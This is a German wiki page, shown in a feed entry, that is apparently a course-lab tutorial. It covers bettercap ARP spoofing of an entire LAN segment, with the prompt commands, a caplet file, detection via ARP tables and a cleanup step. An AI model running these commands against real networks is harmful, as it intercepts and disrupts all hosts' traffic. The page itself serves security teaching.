https://xinux.net/index.php?action=history&feed=atom&title=Arpspoofing_mit_Bettercap_Kompletter_Verkehr 2026-08-23T16:04:59Z Versionsgeschichte dieser Seite in Xinux Wiki MediaWiki 1.35.1 https://xinux.net/index.php?title=Arpspoofing_mit_Bettercap_Kompletter_Verkehr&diff=72946&oldid=prev 2026-08-20T14:26:39Z

<p>Die Seite wurde neu angelegt: „=Bettercap: Kompletter Verkehr im Segment= =Szenario= *INTERFACE=eth0 *Netz: 10.0.10.0/24 Ohne Einschraenkung auf einzelne Ziele vergiftet bettercap alle err…“</p> <p><b>Neue Seite</b></p><div>=Bettercap: Kompletter Verkehr im Segment=<br /> <br /> =Szenario=<br /> *INTERFACE=eth0<br /> *Netz: 10.0.10.0/24<br /> <br /> Ohne Einschraenkung auf einzelne Ziele vergiftet bettercap alle erreichbaren<br /> Hosts. Der gesamte Verkehr des Segments laeuft dann ueber den Angreifer - nicht<br /> nur die Strecke eines einzelnen Opfers.<br /> <br /> =Benoetigtes Paket=<br /> *apt-get install bettercap<br /> <br /> =Angriff auf dem Angreifer=<br /> *bettercap -iface eth0<br /> <br /> ;Im bettercap-Prompt:<br /> *set arp.spoof.targets 10.0.10.0/24<br /> *set arp.spoof.internal true<br /> *set arp.spoof.fullduplex true<br /> *net.probe on<br /> *arp.spoof on<br /> *net.sniff on<br /> <br /> =Optionen=<br /> -iface eth0 = Interface<br /> arp.spoof.targets = ganzes Netz statt einzelner Hosts<br /> arp.spoof.internal true = auch Host-zu-Host im LAN vergiften, nicht nur Richtung Gateway<br /> arp.spoof.fullduplex = beide Richtungen vergiften<br /> net.probe on = ARP-Cache vorab fuellen, damit alle MACs bekannt sind<br /> arp.spoof on = ARP-Spoofing starten<br /> net.sniff on = Mitschnitt starten<br /> <br /> ;Das Gegenstueck zu ettercaps /// /// ist hier arp.spoof.targets 10.0.10.0/24<br /> ;zusammen mit arp.spoof.internal true. Erst das ganze Netz als Ziel UND internal<br /> ;true zusammen ergeben &quot;alle gegen alle&quot; - internal allein oder das Netz allein<br /> ;wuerden nur einen Teil erfassen.<br /> <br /> =Warnung=<br /> ;Das ist der lauteste und riskanteste MITM ueberhaupt:<br /> ;* Der Angreifer muss den GESAMTEN Verkehr des Segments weiterleiten. Bei vielen<br /> ; Hosts wird die Angreifer-Maschine schnell zum Flaschenhals - Pakete gehen<br /> ; verloren, Verbindungen brechen ab, das ganze Netz wird langsam.<br /> ;* Der Angriff ist im Netz sofort auffaellig (ARP-Sturm, doppelte MACs ueberall).<br /> ;* Im Kurslabor unbedingt darauf achten, dass nur die eigene Uebungsgruppe<br /> ; betroffen ist und nicht die Nachbargruppen mit im selben Segment haengen.<br /> <br /> ;Fuer gezieltes Abhoeren ist die Variante mit benannten Zielen (CLIENT/GATEWAY<br /> ;oder Host-zu-Host) fast immer die bessere Wahl. Das ganze Netz zu spoofen ist<br /> ;die Demo fuer &quot;so sieht es aus, wenn jemand mit dem Vorschlaghammer kommt&quot;.<br /> <br /> =Als Caplet (reproduzierbar)=<br /> ;Das Caplet ist nichts weiter als die obigen Befehle in eine Datei geschrieben,<br /> ;damit man sie nicht jedes Mal von Hand tippt.<br /> *vim seclab-all.cap:<br /> net.probe on<br /> set arp.spoof.targets 10.0.10.0/24<br /> set arp.spoof.internal true<br /> set arp.spoof.fullduplex true<br /> arp.spoof on<br /> net.sniff on<br /> <br /> ;Start:<br /> *bettercap -iface eth0 -caplet seclab-all.cap<br /> <br /> =Nachweis auf einem beliebigen Host=<br /> ;Mehrere IPs zeigen ploetzlich dieselbe MAC - die des Angreifers<br /> *arp -n<br /> 10.0.10.1 ether &lt;MAC-der-kali-innen&gt; C eth0<br /> 10.0.10.103 ether &lt;MAC-der-kali-innen&gt; C eth0<br /> 10.0.10.105 ether &lt;MAC-der-kali-innen&gt; C eth0<br /> <br /> ;Wenn quer durch die Tabelle dieselbe MAC auftaucht, laeuft ein Segment-weiter MITM.<br /> <br /> =Angriff beenden=<br /> ;Im bettercap-Prompt:<br /> *arp.spoof off<br /> *q<br /> <br /> ;arp.spoof off schickt korrekte ARP-Antworten (re-ARP) an alle betroffenen Hosts,<br /> ;damit die ARP-Caches wieder stimmen und das Netz normal weiterarbeitet.<br /> <br /> =Weiterfuehrende Angriffe=<br /> *[[Ngrep]]</div>

Thomas.will